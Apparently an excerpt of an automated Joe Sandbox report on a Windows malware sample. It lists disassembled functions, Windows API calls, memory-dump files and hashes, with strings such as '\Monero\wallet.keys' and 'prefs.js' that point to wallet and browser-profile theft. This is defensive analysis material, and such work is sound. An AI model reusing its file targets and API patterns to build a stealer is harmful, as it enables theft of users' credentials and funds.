wsprintfA.USER32 ref: 0008ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0008ED55
StrCmpCA.SHLWAPI(?,000A1538), ref: 0008EDAB
StrCmpCA.SHLWAPI(?,000A153C), ref: 0008EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0008F2AE
FindClose.KERNEL32(000000FF), ref: 0008F2C3

Strings

%s\*.*, xrefs: 0008ED32

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 2790134075c3cb5cfecde7754bea0c230976e482b140a22285a1fb1cd371cd2f
Instruction ID: e47a9560e908060eee7d60334693630180b6ab3e19a9b81e108ebefa5adf73b7
Opcode Fuzzy Hash: 2790134075c3cb5cfecde7754bea0c230976e482b140a22285a1fb1cd371cd2f
Instruction Fuzzy Hash: D4E1BF72A111189ADF54FB60DC56EEE7378AF55300F4041A9B50A66093EF306F8ADFA2

Function 0008F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,000A15B8,000A0D96), ref: 0008F71E
StrCmpCA.SHLWAPI(?,000A15BC), ref: 0008F76F
StrCmpCA.SHLWAPI(?,000A15C0), ref: 0008F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0008FAB1
FindClose.KERNEL32(000000FF), ref: 0008FAC3

Strings

prefs.js, xrefs: 0008F812

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 27f4b312e8c3a04feb544f72ef8df6af29fdfcc9b5510505a1ab0b2f409fd250
Instruction ID: 7a4cb63954ac0fd97b0ae3ce13ad8a996de632e33909f512e23be2b31ee8c147
Opcode Fuzzy Hash: 27f4b312e8c3a04feb544f72ef8df6af29fdfcc9b5510505a1ab0b2f409fd250
Instruction Fuzzy Hash: 0EB14F71A101189BDF24FF70DC96EEE7379BF55300F4081A8A54A9A192EF306B49DBD2

Function 000816D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,000A510C,?,?,?,000A51B4,?,?,00000000,?,00000000), ref: 00081923
StrCmpCA.SHLWAPI(?,000A525C), ref: 00081973
StrCmpCA.SHLWAPI(?,000A5304), ref: 00081989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00081D40
DeleteFileA.KERNEL32(00000000), ref: 00081DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00081E20
FindClose.KERNEL32(000000FF), ref: 00081E32

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Strings

\*.*, xrefs: 000817F1

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: c0e1d9ca4e857002bf6259f725d7bec2bbafe2a22c112666ee493b98418ecc4d
Instruction ID: 5292498df5bd8c66e5c56bb3b65f96054af7b6da1a6716a04c4fba5dfbad6f2b
Opcode Fuzzy Hash: c0e1d9ca4e857002bf6259f725d7bec2bbafe2a22c112666ee493b98418ecc4d
Instruction Fuzzy Hash: C312CD71A10118ABDF15FB60DC96EEE7378BF55300F404199A50A66092EF706F89DFE2

Function 0008DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,000A0C2E), ref: 0008DE5E
StrCmpCA.SHLWAPI(?,000A14C8), ref: 0008DEAE
StrCmpCA.SHLWAPI(?,000A14CC), ref: 0008DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0008E3E0
FindClose.KERNEL32(000000FF), ref: 0008E3F2

Strings

\*.*, xrefs: 0008DE26

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: f3a0de8a7192376be8c2d57a21fcf6d5a837e6d24efa5755a30c7d7a6efabc1f
Instruction ID: 68ac8c5287533fb878b18d4ab7af8448c13f6efb219644ed3835148c7220d62f
Opcode Fuzzy Hash: f3a0de8a7192376be8c2d57a21fcf6d5a837e6d24efa5755a30c7d7a6efabc1f
Instruction Fuzzy Hash: 26F191719241289ADF15FB60DC95EEE7378BF15300F4041DAB51A66092EF306F8ADFA2

Function 0008DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,000A14B0,000A0C2A), ref: 0008DAEB
StrCmpCA.SHLWAPI(?,000A14B4), ref: 0008DB33
StrCmpCA.SHLWAPI(?,000A14B8), ref: 0008DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0008DDCC
FindClose.KERNEL32(000000FF), ref: 0008DDDE

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 45a33dbe8b6dc25ccca459e9e035aabeae628abe7acacdb18343a7d53927abed
Instruction ID: 327a6f51d0521cd1beae36e7ed03c7cc846d7e005170c4ca4bb0bed9772ca8fa
Opcode Fuzzy Hash: 45a33dbe8b6dc25ccca459e9e035aabeae628abe7acacdb18343a7d53927abed
Instruction Fuzzy Hash: 6D912172A1011897CF14FBB0EC5ADEE737DBB85300F408659B94A96182EE349B09DBD2

Function 00097B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

GetKeyboardLayoutList.USER32(00000000,00000000,000A05AF), ref: 00097BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00097BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00097C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00097C62
LocalFree.KERNEL32(00000000), ref: 00097D22

Strings

/ , xrefs: 00097C7F

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 81166046b76b0cb69d5a1ea2eab6c255d183ea6b8b1b6a2b9a319fb7a0d2b7c2
Instruction ID: 07cb86b741787c115480b0ffb1b5d5c5a2381c1c5d1427cb1d921ace4a507326
Opcode Fuzzy Hash: 81166046b76b0cb69d5a1ea2eab6c255d183ea6b8b1b6a2b9a319fb7a0d2b7c2
Instruction Fuzzy Hash: AF412B71951218ABDF24DB94DC99BEEB3B4FF44700F204199E10966191DB342F85DFA1

Function 0008E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,000A0D73), ref: 0008E4A2
StrCmpCA.SHLWAPI(?,000A14F8), ref: 0008E4F2
StrCmpCA.SHLWAPI(?,000A14FC), ref: 0008E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0008EBDF

Strings

\*.*, xrefs: 0008E44D

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 11a605ee506d1920a2818185598b50d551986f91ecfaf2f786b8a4e9a60723e0
Instruction ID: d3efdca41f8e1e66c50a18dd04c21ce4823f7f53fccc19982cf5cb1acbd87cae
Opcode Fuzzy Hash: 11a605ee506d1920a2818185598b50d551986f91ecfaf2f786b8a4e9a60723e0
Instruction Fuzzy Hash: 94120F71A101189ADF18FBB0DC96EEE7379BF55300F4045A9B50A96092EF306F49DBE2

Function 0044B7AE Relevance: 9.1, Strings: 6, Instructions: 1644COMMON

Download Yara Rule

Strings

qo`, xrefs: 0044C3C3
xH'R, xrefs: 0044BE40
-rz, xrefs: 0044C295
gJw], xrefs: 0044C9FE
Go~?, xrefs: 0044C395
*(iY, xrefs: 0044C809

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *(iY$Go~?$gJw]$qo`$xH'R$-rz
API String ID: 0-1502928147
Opcode ID: c1b401dcada12f524afc65413d8f88efa0eb1a08fc11c5704aa6dba035586517
Instruction ID: 56a78a09a9ce7c9c1e3c37040015eab4ad914228ceab741a8d6f338ed85e6e3d
Opcode Fuzzy Hash: c1b401dcada12f524afc65413d8f88efa0eb1a08fc11c5704aa6dba035586517
Instruction Fuzzy Hash: 4AB21BF360C214AFE704AE2DDC8567ABBE9EF94320F1A493DEAC4C3744E53598058697

Function 00450887 Relevance: 9.0, Strings: 6, Instructions: 1518COMMON

Download Yara Rule

Strings

73U , xrefs: 00450D41
-;[, xrefs: 004515BB
rrI<, xrefs: 00450FAD
j7{, xrefs: 00450B31
>o^, xrefs: 00450BEE
rvY6, xrefs: 00450D91

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 73U $>o^$rrI<$rvY6$-;[$j7{
API String ID: 0-3469731591
Opcode ID: 9c5168011601cd8bffb042fd3ee50f255f43d64a298aacf5a3826a44d893415f
Instruction ID: 2b76dbb7d15591dc985a1328f1b0a0062dd91580c8f9ad197ffc855e45438d56
Opcode Fuzzy Hash: 9c5168011601cd8bffb042fd3ee50f255f43d64a298aacf5a3826a44d893415f
Instruction Fuzzy Hash: 6FB2E0B390C204AFE3046F29EC8567AFBE5EF94720F16492DEAC887740E6355845CB97

Function 00455794 Relevance: 7.9, Strings: 5, Instructions: 1608COMMON

Download Yara Rule

Strings

me;, xrefs: 004569BC
;w_, xrefs: 00456089
c\oo, xrefs: 00455B8E
-~w, xrefs: 00456360
@H7], xrefs: 004558F5

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -~w$;w_$@H7]$c\oo$me;
API String ID: 0-3379050250
Opcode ID: 6819a5a83f4f730b0d97c1cff5902b91f6ad166cfe459822b85dd9dd05c2373a
Instruction ID: fd2a378339b045931722529ea760ba628f16d05dcdda739dfc0e90de560f5670
Opcode Fuzzy Hash: 6819a5a83f4f730b0d97c1cff5902b91f6ad166cfe459822b85dd9dd05c2373a
Instruction Fuzzy Hash: C3B227F390C2149FE3046E2DDC8567ABBE5EF94720F1A4A3DEAC4D7744EA3598018693

Function 0045C318 Relevance: 7.8, Strings: 5, Instructions: 1580COMMON

Download Yara Rule

Strings

Geo[, xrefs: 0045CA51
7t?4, xrefs: 0045CA17
b%', xrefs: 0045CB64
x%g, xrefs: 0045D5C3
